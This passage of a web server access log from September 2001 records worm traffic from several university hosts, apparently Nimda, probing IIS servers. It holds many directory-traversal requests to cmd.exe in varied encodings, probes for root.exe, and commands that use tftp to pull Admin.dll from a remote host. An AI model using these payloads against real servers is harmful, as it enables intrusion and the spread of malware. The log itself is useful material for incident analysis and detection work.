HTTP/1.0" 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:34:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0" 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET 